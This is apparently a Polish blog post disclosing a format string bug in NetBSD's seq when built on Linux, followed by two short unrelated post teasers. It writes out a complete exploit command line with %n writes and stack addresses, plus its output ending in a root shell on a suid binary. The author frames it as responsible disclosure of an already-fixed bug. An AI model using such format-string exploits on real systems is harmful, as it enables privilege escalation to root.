Format String Attack w programie seq projektu NetBSD
25 maja 2010, godzina 20:43Zupełnie przypadkiem zauważyłem, że program seq z projektu NetBSD skompilowany i uruchamiany pod Linuksem wykazuje dziwne właściwości (podatności na atak związany z ciągami formatującymi):
chomzee@aleurwal:~/vulns$ ./seq -f %..%n 1 1 Segmentation fault
Po ustawieniu właściciela na root oraz bitu suid postanowiłem spróbować wykorzystać tę lukę do wykonania dowolnego kodu. Udało się:
chomzee@aleurwal:~/vulns$ ls -l seq -rwsr-sr-x 1 root root 12349 2010-05-25 16:39 seq chomzee@aleurwal:~/vulns$ ./seq -f `printf "\xbc\xef\xff\xb f"`____`printf "\xbd\xef\xff\xbf"`____`printf "\xbe\xef\xff\ xbf"`____`printf "\xbf\xef\xff\xbf"`xxxx`perl -e 'print "%.. %08x"x145'`%..%0193x%..%08n%..%060x%..%08n%..%0254x%..%08n%. .%0184x%..%08n `perl -e 'print "0"x993'`1 1 ����____����____����____���� xxxx%.0.00000000%.0.3ff00000%.0.bfffefa4%.0.00000000%.0.b7ff 9208%.0.b7ffeff4%.0.bfffeff0%.0.b7fff668%.0.080484ca%.0.b7ff eff4%.0.00000000%.0.00000000%.0.b7ff8a08%.0.00000002%.0.0000 0066%.0.bfffefc0%.0.00000000%.0.00000000%.0.bff00000%.0.0000 0000%.0.00000066%.0.00000000%.0.00000000%.0.00000000%.0.3ff0 0000%.0.00000000%.0.3ff00000%.0.00000000%.0.bff00000%.0.bfff ef98%.0.b7fb1b60%.0.bffff15c%.0.08049532%.0.00000000%.0.3004 9499%.0.b7ff2250%.0.bfffefc0%.0.bffff018%.0.b7e70455%.0.0804 9480%.0.080487e0%.0.bffff018%.0.b7e70455%.0.00000002%.0.bfff f050%.0.bffff05c%.0.b7fe2e08%.0.00000001%.0.00000001%.0.0000 0000%.0.080484ca%.0.b7fb0ff4%.0.08049480%.0.080487e0%.0.bfff f018%.0.ebdf8081%.0.da083491%.0.00000000%.0.00000000%.0.0000 0000%.0.b7ff72e0%.0.b7e7037d%.0.b7ffeff4%.0.00000005%.0.0804 87e0%.0.00000000%.0.08048801%.0.08048894%.0.00000005%.0.bfff f044%.0.08049480%.0.08049470%.0.b7ff2250%.0.bffff03c%.0.b7ff cae5%.0.00000005%.0.bffff153%.0.bffff159%.0.bffff15c%.0.bfff f5b3%.0.bffff996%.0.00000000%.0.bffff998%.0.bffff9ab%.0.bfff f9d5%.0.bffff9e5%.0.bffff9f0%.0.bffffa02%.0.bffffa0f%.0.bfff fe38%.0.bffffe65%.0.bffffe98%.0.bffffec5%.0.bffffedc%.0.bfff fef4%.0.bfffff05%.0.bfffff1c%.0.bfffff2f%.0.bfffff37%.0.bfff ff47%.0.bfffffa9%.0.bfffffb6%.0.bfffffc9%.0.bfffffee%.0.0000 0000%.0.00000020%.0.b7fe3414%.0.00000021%.0.b7fe3000%.0.0000 0010%.0.078bf3ff%.0.00000006%.0.00001000%.0.00000011%.0.0000 0064%.0.00000003%.0.08048034%.0.00000004%.0.00000020%.0.0000 0005%.0.00000007%.0.00000007%.0.b7fe4000%.0.00000008%.0.0000 0000%.0.00000009%.0.080487e0%.0.0000000b%.0.000003e8%.0.0000 000c%.0.00000000%.0.0000000d%.0.000003e8%.0.0000000e%.0.0000 0000%.0.00000017%.0.00000001%.0.0000000f%.0.bffff14b%.0.0000 0000%.0.00000000%.0.69000000%.0.00363836%.0.2e000000%.0.7165 732f%.0.0000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000. 0.%f5f5f5f50000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 0000000.0.%.0.%f5f5f5f50000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000.0.%.0.%f5f5f5f5000000000000000 0000000000000000000000000000000000000.0.%.0.%00d266000000000 000000000000000000000000000000000000000000000000000000000000 0000000 bash-3.2# whoami root bash-3.2#
Luka przeze mnie odkryta na szczęście nie występuje w NetBSD, gdyż tam inaczej zaimplementowana jest funkcja printf. Zagrożenie występuje tylko w systemach linuksowych, które używają programu seq z projektu NetBSD. Jako, że w Linuksie powszechna jest wersja programu seq z projektu GNU, wątpię, czy istnieje na świecie maszyna, dla której ta luka mogłaby być zagrożeniem.
Jednak mimo wszystko, taka luka nie powinna się pojawić w tak poważnym projekcie — oprogramowanie powinno być przenośne, prawda? Wysłałem już “bug report”, czekam na reakcję ze strony deweloperów NetBSD.
Edycja:
Błąd już został poprawiony — reakcja deweloperów była błyskawiczna. Może dlatego, że niesłusznie zakwalifikowałem błąd do działu “security”. A może dlatego, że cała filozofia ruchu Open Source jest genialna. :)

Przygotowanie Gentoo do współpracy z SE K750i nie jest trudne, jednak szukanie informacji na ten temat w sieci może być czasochłonne, postaram się więc umieścić parę porad dotyczących wymiany plików, udostępniania internetu przez GPRS, odbierania i wysyłania SMS oraz zdalnego sterowania.

Z powodu awarii mojego serwera-routera-accesspointa-telewizora domowego (4 w 1) zmuszony zostałem wymienić hardware. Jednak zdecydowałem się nie inwestować w nową płytę główną, tylko wskrzesić ciut starszy komputer…